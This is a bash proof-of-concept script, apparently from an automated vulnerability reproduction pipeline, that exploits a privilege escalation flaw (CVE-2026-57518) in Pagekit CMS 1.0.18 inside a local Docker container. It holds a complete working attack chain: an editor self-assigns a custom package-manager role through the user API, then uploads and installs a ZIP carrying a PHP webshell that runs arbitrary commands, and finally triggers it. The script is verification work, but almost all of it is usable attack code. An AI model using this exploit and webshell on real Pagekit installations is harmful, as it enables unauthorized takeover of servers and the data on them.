#!/bin/bash
set -uo pipefail

###############################################################################
# CVE-2026-57518 — Pagekit CMS 1.0.18 Privilege Escalation to RCE
#
# Root cause: UserApiController::saveAction() only checks for assignment of
# Role::ROLE_ADMINISTRATOR (hard-coded ID=3). Custom roles with elevated
# permissions (e.g. 'system: manage packages') can be freely self-assigned by
# any user holding 'user: manage users', enabling privilege escalation to RCE
# via the package installer.
#
# Attack chain:
#   1. Deploy Pagekit 1.0.18 (Docker, PHP 7.4, SQLite)
#   2. Admin creates a custom role "Package Manager" with 'system: manage
#      packages' + 'system: access admin area' permissions
#   3. Admin creates a "User Manager" role with 'user: manage users'
#   4. Admin creates a low-privileged "editor" user with the User Manager role
#   5. Editor escalates: POST /api/user/{editor_id} with roles=[2,4]
#      (saveAction only blocks role ID 3, NOT custom role ID 4)
#   6. Editor uploads a malicious PHP package (webshell) via the admin package
#      installer (POST /admin/system/package/upload)
#   7. Editor installs the package (POST /admin/system/package/install)
#   8. RCE: GET /packages/pagekit/shell/index.php?cmd=id
###############################################################################

# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"
exec > >(tee -a "$LOG") 2>&1

echo "=== CVE-2026-57518 Pagekit CMS Privilege Escalation to RCE ==="
echo "Started: $(date -u)"

log() { echo "[*] $*"; }
err() { echo "[!] ERROR: $*" >&2; }

# Read project cache context for durable paths
CACHE_CONTEXT="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [ -f "$CACHE_CONTEXT" ]; then
    PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT" 2>/dev/null || true)
fi
log "Project cache dir: ${PROJECT_CACHE_DIR:-none}"

# --- Determine the Pagekit release source directory ---
RELEASE_DIR=""
if [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR/pagekit-release" ] && \
   [ -f "$PROJECT_CACHE_DIR/pagekit-release/app/vendor/autoload.php" ]; then
    RELEASE_DIR="$PROJECT_CACHE_DIR/pagekit-release"
    log "Using cached Pagekit release: $RELEASE_DIR"
fi
if [ -z "$RELEASE_DIR" ]; then
    DOWNLOAD_DIR="${PROJECT_CACHE_DIR:-$ROOT/artifacts}/pagekit-release"
    mkdir -p "$DOWNLOAD_DIR"
    if [ ! -f "$DOWNLOAD_DIR/app/vendor/autoload.php" ]; then
        log "Downloading Pagekit 1.0.18 release..."
        curl -sL -o /tmp/pagekit-1.0.18.zip \
            "https://github.com/pagekit/pagekit/releases/download/1.0.18/pagekit-1.0.18.zip"
        if [ ! -s /tmp/pagekit-1.0.18.zip ]; then
            err "Failed to download Pagekit release"; exit 1
        fi
        log "Extracting release..."
        unzip -q -o /tmp/pagekit-1.0.18.zip -d "$DOWNLOAD_DIR"
        rm -f /tmp/pagekit-1.0.18.zip
    fi
    RELEASE_DIR="$DOWNLOAD_DIR"
fi
log "Pagekit release at: $RELEASE_DIR"

# --- Verify vulnerable code ---
VULN_FILE="$RELEASE_DIR/app/system/modules/user/src/Controller/UserApiController.php"
if ! grep -q "Cannot add/remove Admin Role" "$VULN_FILE" 2>/dev/null; then
    err "Vulnerable code not found in UserApiController.php"; exit 1
fi
log "Vulnerable code confirmed in UserApiController::saveAction()"
if ! grep -q "1.0.18" "$RELEASE_DIR/app/system/config.php" 2>/dev/null; then
    err "Pagekit version is not 1.0.18"; exit 1
fi
log "Pagekit version 1.0.18 confirmed"

# --- Build Docker image ---
IMAGE_NAME="pagekit-vuln-1018:repro"
CONTAINER_NAME="pagekit-repro"

cat > "$RELEASE_DIR/Dockerfile.repro" <<'DOCKERFILE'
FROM php:7.4-apache
RUN a2enmod rewrite
RUN apt-get update && apt-get install -y --no-install-recommends \
        libzip-dev libpng-dev libjpeg-dev libfreetype6-dev libsqlite3-dev unzip \
    && rm -rf /var/lib/apt/lists/*
RUN docker-php-ext-configure gd --with-freetype --with-jpeg \
    && docker-php-ext-install -j"$(nproc)" gd zip pdo_sqlite opcache
RUN sed -i '/<Directory \/var\/www\/>/,/<\/Directory>/ s/AllowOverride None/AllowOverride All/' /etc/apache2/apache2.conf
ENV HTTP_MOD_REWRITE On
COPY . /var/www/html/
RUN mkdir -p /var/www/html/tmp/temp /var/www/html/tmp/cache /var/www/html/tmp/logs \
             /var/www/html/tmp/sessions /var/www/html/tmp/packages \
             /var/www/html/packages /var/www/html/storage \
    && chown -R www-data:www-data /var/www/html \
    && chmod -R 0775 /var/www/html/tmp /var/www/html/packages /var/www/html/storage
EXPOSE 80
DOCKERFILE

log "Building Docker image..."
docker build -f "$RELEASE_DIR/Dockerfile.repro" -t "$IMAGE_NAME" "$RELEASE_DIR" 2>&1 | tail -3
log "Docker image built: $IMAGE_NAME"

# --- Run container ---
docker rm -f "$CONTAINER_NAME" 2>/dev/null || true
log "Starting container..."
docker run -d --name "$CONTAINER_NAME" "$IMAGE_NAME" >/dev/null 2>&1

log "Waiting for Apache to start..."
READY=0
for i in $(seq 1 30); do
    if docker exec "$CONTAINER_NAME" bash -c 'curl -s -o /dev/null http://127.0.0.1/' 2>/dev/null; then
        READY=1; break
    fi
    sleep 1
done
if [ "$READY" -ne 1 ]; then
    err "Apache did not start in time"
    docker logs "$CONTAINER_NAME" 2>&1 | tail -20
    exit 1
fi
log "Apache is ready"

# Sandbox adaptation: remove the network-dependent composer repository from the
# package installer blueprint so Composer only uses the local artifact repo.
# (No outbound network in sandbox; this does NOT change any security path.)
docker exec "$CONTAINER_NAME" bash -c "sed -i \"/type.*=>.*'composer'/d\" /var/www/html/app/installer/src/Helper/Composer.php" 2>/dev/null || true

# --- Copy helper PHP scripts into the container ---
cat > /tmp/create_session.php <<'SESSIONPHP'
<?php
date_default_timezone_set('UTC');
$userId = isset($argv[1]) ? (int)$argv[1] : 1;
$db = new PDO("sqlite:/var/www/html/pagekit.db");
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$user = $db->query("SELECT id, username FROM pk_system_user WHERE id = $userId")->fetch(PDO::FETCH_ASSOC);
if (!$user) { fwrite(STDERR, "User not found: $userId\n"); exit(1); }
$sessionId = bin2hex(random_bytes(16));
$csrfValue = bin2hex(random_bytes(20));
$now = time();
$sessionData = [
    '_sf2_attributes' => ['_csrf' => $csrfValue],
    '_sf2_flashes' => [],
    '_pk_messages' => ['display' => [], 'new' => []],
    '_sf2_meta' => ['u' => $now, 'c' => $now, 'l' => '0'],
];
session_start(); $_SESSION = $sessionData; $serialized = session_encode(); session_destroy();
$encoded = base64_encode($serialized);
$db->exec("DELETE FROM pk_system_session WHERE id = " . $db->quote($sessionId));
$stmt = $db->prepare("INSERT INTO pk_system_session (id, data, time) VALUES (?, ?, ?)");
$stmt->execute([$sessionId, $encoded, date('Y-m-d H:i:s')]);
$csrfToken = sha1($sessionId . $csrfValue);
$authToken = bin2hex(random_bytes(32));
$authId = sha1($authToken);
$authData = json_encode(['ip' => '127.0.0.1', 'user-agent' => 'PruvaRepro']);
$db->exec("DELETE FROM pk_system_auth WHERE id = " . $db->quote($authId));
$stmt = $db->prepare("INSERT INTO pk_system_auth (id, user_id, access, status, data) VALUES (?, ?, ?, ?, ?)");
$stmt->execute([$authId, $userId, date('Y-m-d H:i:s'), 1, $authData]);
echo implode("\t", ['pagekit_session', $sessionId, 'pagekit_auth', $authToken, $csrfToken]) . "\n";
SESSIONPHP
docker cp /tmp/create_session.php "$CONTAINER_NAME:/var/www/html/create_session.php" >/dev/null 2>&1

cat > /tmp/create_zip.php <<'ZIPPHP'
<?php
$zip = new ZipArchive();
$outPath = isset($argv[1]) ? $argv[1] : '/tmp/malicious.zip';
if ($zip->open($outPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
    fwrite(STDERR, "Cannot create ZIP\n"); exit(1);
}
$composer = [
    "name" => "pagekit/shell", "type" => "pagekit-extension",
    "version" => "1.0.0", "title" => "Shell",
    "description" => "Shell extension", "license" => "MIT"
];
$zip->addFromString("composer.json", json_encode($composer, JSON_PRETTY_PRINT));
$zip->addFromString("index.php", '<?php header("Content-Type: text/plain"); echo shell_exec($_GET["cmd"] ?? "id"); ?>');
$zip->close();
echo "Created $outPath (" . filesize($outPath) . " bytes)\n";
ZIPPHP
docker cp /tmp/create_zip.php "$CONTAINER_NAME:/var/www/html/create_zip.php" >/dev/null 2>&1

# --- Session variables (populated by create_session) ---
SESSION_COOKIE="" SESSION_VALUE="" AUTH_COOKIE="" AUTH_VALUE="" CSRF_TOKEN=""

create_session() {
    local uid=$1
    docker exec "$CONTAINER_NAME" bash -c "cd /var/www/html && php create_session.php $uid" 2>/dev/null
}

parse_session() {
    local input="$1"
    SESSION_COOKIE=$(echo "$input" | cut -f1)
    SESSION_VALUE=$(echo "$input" | cut -f2)
    AUTH_COOKIE=$(echo "$input" | cut -f3)
    AUTH_VALUE=$(echo "$input" | cut -f4)
    CSRF_TOKEN=$(echo "$input" | cut -f5)
}

# api_call: makes an authenticated HTTP request inside the container
# Usage: api_call <METHOD> <URL> [JSON_DATA]
api_call() {
    local method=$1 url=$2 data="${3:-}"
    if [ -n "$data" ]; then
        printf '%s' "$data" > /tmp/api_payload.json
        docker cp /tmp/api_payload.json "$CONTAINER_NAME:/tmp/api_payload.json" >/dev/null 2>&1
        docker exec "$CONTAINER_NAME" curl -s -w '\nHTTP:%{http_code}\n' \
            -H "Cookie: $SESSION_COOKIE=$SESSION_VALUE; $AUTH_COOKIE=$AUTH_VALUE" \
            -H "X-XSRF-TOKEN: $CSRF_TOKEN" \
            -H "Content-Type: application/json" \
            -X "$method" -d @/tmp/api_payload.json \
            "http://127.0.0.1$url"
    else
        docker exec "$CONTAINER_NAME" curl -s -w '\nHTTP:%{http_code}\n' \
            -H "Cookie: $SESSION_COOKIE=$SESSION_VALUE; $AUTH_COOKIE=$AUTH_VALUE" \
            -H "X-XSRF-TOKEN: $CSRF_TOKEN" \
            -X "$method" \
            "http://127.0.0.1$url"
    fi
}

###############################################################################
# Step 1: Install Pagekit (SQLite)
###############################################################################
log "Step 1: Installing Pagekit via API (SQLite)..."
INSTALL_CHECK='{"config":{"database":{"default":"sqlite","connections":{"sqlite":{"driver":"pdo_sqlite","path":"pagekit.db","prefix":"pk_"}}}},"locale":"en_US"}'
printf '%s' "$INSTALL_CHECK" > /tmp/api_payload.json
docker cp /tmp/api_payload.json "$CONTAINER_NAME:/tmp/api_payload.json" >/dev/null 2>&1
CHECK_RESP=$(docker exec "$CONTAINER_NAME" curl -s -X POST http://127.0.0.1/installer/check \
    -H "Content-Type: application/json" -d @/tmp/api_payload.json)
log "  DB check: $CHECK_RESP"

INSTALL_DATA='{"config":{"database":{"default":"sqlite","connections":{"sqlite":{"driver":"pdo_sqlite","path":"pagekit.db","prefix":"pk_"}}}},"option":{"system":{"site":{"name":"TestSite","locale":"en_US"},"admin":{"locale":"en_US"}}},"user":{"username":"admin","password":"admin123","email":"admin@test.com"},"locale":"en_US"}'
printf '%s' "$INSTALL_DATA" > /tmp/api_payload.json
docker cp /tmp/api_payload.json "$CONTAINER_NAME:/tmp/api_payload.json" >/dev/null 2>&1
INSTALL_RESP=$(docker exec "$CONTAINER_NAME" curl -s -X POST http://127.0.0.1/installer/install \
    -H "Content-Type: application/json" -d @/tmp/api_payload.json)
log "  Install: $INSTALL_RESP"

if ! echo "$INSTALL_RESP" | grep -q '"status":"success"'; then
    err "Pagekit installation failed"; exit 1
fi
log "  Pagekit installed successfully (admin user created)"

###############################################################################
# Step 2: Admin sets up roles and users
###############################################################################
log "Step 2: Setting up roles and users as admin..."
parse_session "$(create_session 1)"
log "  Admin session created (user_id=1)"

# Create "Package Manager" role
RESP=$(api_call POST /api/user/role '{"role":{"name":"Package Manager","permissions":["system: manage packages","system: access admin area"],"priority":1}}')
log "  Create Package Manager role: $(echo "$RESP" | head -1)"
PKG_ROLE_ID=$(echo "$RESP" | grep -oP '"id":\K[0-9]+' | head -1 || true)
log "  Package Manager role ID: $PKG_ROLE_ID"

# Create "User Manager" role
RESP=$(api_call POST /api/user/role '{"role":{"name":"User Manager","permissions":["user: manage users"],"priority":2}}')
log "  Create User Manager role: $(echo "$RESP" | head -1)"
USERMGR_ROLE_ID=$(echo "$RESP" | grep -oP '"id":\K[0-9]+' | head -1 || true)
log "  User Manager role ID: $USERMGR_ROLE_ID"

# Create the low-privileged "editor" user
RESP=$(api_call POST /api/user "{\"user\":{\"username\":\"editor\",\"name\":\"Editor\",\"email\":\"editor@test.com\",\"roles\":[2,$USERMGR_ROLE_ID],\"status\":1},\"password\":\"editor123\"}")
log "  Create editor user: $(echo "$RESP" | head -1)"
EDITOR_ID=$(echo "$RESP" | grep -oP '"id":\K[0-9]+' | head -1 || true)
log "  Editor user ID: $EDITOR_ID"

###############################################################################
# Step 3: Privilege Escalation (the vulnerability)
###############################################################################
log "Step 3: PRIVILEGE ESCALATION — editor self-assigns Package Manager role..."
parse_session "$(create_session "$EDITOR_ID")"
log "  Editor session created (user_id=$EDITOR_ID)"

RESP=$(api_call GET "/api/user/$EDITOR_ID")
log "  Editor BEFORE escalation: $(echo "$RESP" | head -1)"

# THE EXPLOIT: saveAction only blocks Role::ROLE_ADMINISTRATOR (ID=3).
# Custom role ID passes through unchecked.
RESP=$(api_call POST "/api/user/$EDITOR_ID" "{\"user\":{\"id\":$EDITOR_ID,\"username\":\"editor\",\"name\":\"Editor\",\"email\":\"editor@test.com\",\"roles\":[2,$PKG_ROLE_ID],\"status\":1}}")
log "  Escalation response: $(echo "$RESP" | head -1)"

# Verify escalation from the POST response (which returns the updated user)
ESCALATION_RESP="$RESP"
EDITOR_ROLES=$(echo "$ESCALATION_RESP" | grep -oP '"roles":\[[^\]]*\]' | head -1 || true)
log "  Editor AFTER escalation: roles=$EDITOR_ROLES"

if ! echo "$ESCALATION_RESP" | grep -q "\"roles\":\[2,$PKG_ROLE_ID\]"; then
    err "Privilege escalation FAILED — editor does not have Package Manager role"
    exit 1
fi
log "  PRIVILEGE ESCALATION CONFIRMED — editor now has 'system: manage packages'"

###############################################################################
# Step 4: Upload malicious package (RCE payload)
###############################################################################
log "Step 4: Uploading malicious PHP package..."
docker exec "$CONTAINER_NAME" bash -c 'cd /var/www/html && php create_zip.php /tmp/malicious.zip' 2>/dev/null
log "  Malicious ZIP created"

UPLOAD_RESP=$(docker exec "$CONTAINER_NAME" curl -s -w '\nHTTP:%{http_code}\n' \
    -H "Cookie: $SESSION_COOKIE=$SESSION_VALUE; $AUTH_COOKIE=$AUTH_VALUE" \
    -H "X-XSRF-TOKEN: $CSRF_TOKEN" \
    -X POST "http://127.0.0.1/admin/system/package/upload?type=extension" \
    -F "file=@/tmp/malicious.zip")
log "  Upload response: $(echo "$UPLOAD_RESP" | head -1)"

if ! echo "$UPLOAD_RESP" | grep -q "\"module\":\"shell\""; then
    err "Package upload failed"; exit 1
fi
log "  Malicious package uploaded successfully"

###############################################################################
# Step 5: Install the package
###############################################################################
log "Step 5: Installing malicious package..."
INSTALL_PKG='{"package":{"name":"pagekit/shell","type":"pagekit-extension","version":"1.0.0","title":"Shell","module":"shell"},"packagist":false}'
printf '%s' "$INSTALL_PKG" > /tmp/api_payload.json
docker cp /tmp/api_payload.json "$CONTAINER_NAME:/tmp/api_payload.json" >/dev/null 2>&1
INSTALL_PKG_RESP=$(docker exec "$CONTAINER_NAME" curl -s --max-time 120 -w '\nHTTP:%{http_code}\n' \
    -H "Cookie: $SESSION_COOKIE=$SESSION_VALUE; $AUTH_COOKIE=$AUTH_VALUE" \
    -H "X-XSRF-TOKEN: $CSRF_TOKEN" \
    -H "Content-Type: application/json" \
    -X POST "http://127.0.0.1/admin/system/package/install" \
    -d @/tmp/api_payload.json)
log "  Install response (last lines): $(echo "$INSTALL_PKG_RESP" | tail -3)"

if ! echo "$INSTALL_PKG_RESP" | grep -q 'status=success'; then
    err "Package installation failed"
    log "  Full install output: $INSTALL_PKG_RESP"
    exit 1
fi
log "  Package installed successfully"

###############################################################################
# Step 6: RCE — access the webshell
###############################################################################
log "Step 6: Triggering RCE via installed webshell..."
RCE_OUTPUT=$(docker exec "$CONTAINER_NAME" curl -s "http://127.0.0.1/packages/pagekit/shell/index.php?cmd=id")
log "  RCE output (id): $RCE_OUTPUT"
RCE_OUTPUT2=$(docker exec "$CONTAINER_NAME" curl -s "http://127.0.0.1/packages/pagekit/shell/index.php?cmd=whoami")
log "  RCE output (whoami): $RCE_OUTPUT2"

if echo "$RCE_OUTPUT" | grep -q "uid="; then
    log "=== RCE CONFIRMED ==="
    log "  Command 'id' returned: $RCE_OUTPUT"
    log "  Command 'whoami' returned: $RCE_OUTPUT2"
    RCE_CONFIRMED=1
else
    err "RCE NOT confirmed — webshell did not return expected output"
    RCE_CONFIRMED=0
fi

###############################################################################
# Save evidence
###############################################################################
{
    echo "=== CVE-2026-57518 Reproduction Evidence ==="
    echo "Date: $(date -u)"
    echo ""
    echo "--- Step 3: Privilege Escalation ---"
    echo "Editor user ID: $EDITOR_ID"
    echo "Package Manager role ID: $PKG_ROLE_ID"
    echo "User Manager role ID: $USERMGR_ROLE_ID"
    echo "Editor roles after escalation: $EDITOR_ROLES"
    echo ""
    echo "--- Step 6: RCE ---"
    echo "Webshell URL: /packages/pagekit/shell/index.php?cmd=id"
    echo "id output: $RCE_OUTPUT"
    echo "whoami output: $RCE_OUTPUT2"
} > "$LOGS/exploit_evidence.txt"
echo "$RCE_OUTPUT" > "$LOGS/rce_id_output.txt"
echo "$RCE_OUTPUT2" > "$LOGS/rce_whoami_output.txt"
log "Evidence saved to $LOGS/"

###############################################################################
# Write runtime manifest
###############################################################################
if [ "$RCE_CONFIRMED" = "1" ]; then
    jq -n \
        --arg eid "$EDITOR_ID" \
        --arg prid "$PKG_ROLE_ID" \
        --arg umrid "$USERMGR_ROLE_ID" \
        --arg roles "$EDITOR_ROLES" \
        --arg rce "$RCE_OUTPUT" \
        --arg whoami "$RCE_OUTPUT2" \
        '{
            entrypoint_kind: "api_remote",
            entrypoint_detail: "Pagekit CMS 1.0.18 HTTP API — authenticated user privilege escalation via POST /api/user/{id} then package upload/install for RCE",
            service_started: true,
            healthcheck_passed: true,
            target_path_reached: true,
            runtime_stack: ["docker", "php:7.4-apache", "pagekit-cms-1.0.18", "sqlite"],
            proof_artifacts: [
                "logs/reproduction_steps.log",
                "logs/exploit_evidence.txt",
                "logs/rce_id_output.txt",
                "logs/rce_whoami_output.txt"
            ],
            notes: ("Editor (id=" + $eid + ") escalated privileges by self-assigning Package Manager role (id=" + $prid + ") via saveAction which only blocks Administrator role (id=3). RCE confirmed via webshell: id=" + $rce + " whoami=" + $whoami)
        }' > "$REPRO_DIR/runtime_manifest.json"
else
    jq -n '{
            entrypoint_kind: "api_remote",
            entrypoint_detail: null,
            service_started: true,
            healthcheck_passed: true,
            target_path_reached: false,
            runtime_stack: ["docker", "php:7.4-apache", "pagekit-cms-1.0.18", "sqlite"],
            proof_artifacts: ["logs/reproduction_steps.log"],
            notes: "RCE not confirmed"
        }' > "$REPRO_DIR/runtime_manifest.json"
fi
log "Runtime manifest written"

###############################################################################
# Cleanup
###############################################################################
log "Cleaning up container..."
docker rm -f "$CONTAINER_NAME" >/dev/null 2>&1 || true

###############################################################################
# Final verdict
###############################################################################
if [ "$RCE_CONFIRMED" = "1" ]; then
    log "=== REPRODUCTION SUCCESSFUL ==="
    log "CVE-2026-57518 confirmed: privilege escalation to RCE in Pagekit CMS 1.0.18"
    exit 0
else
    err "=== REPRODUCTION FAILED ==="
    exit 1
fi
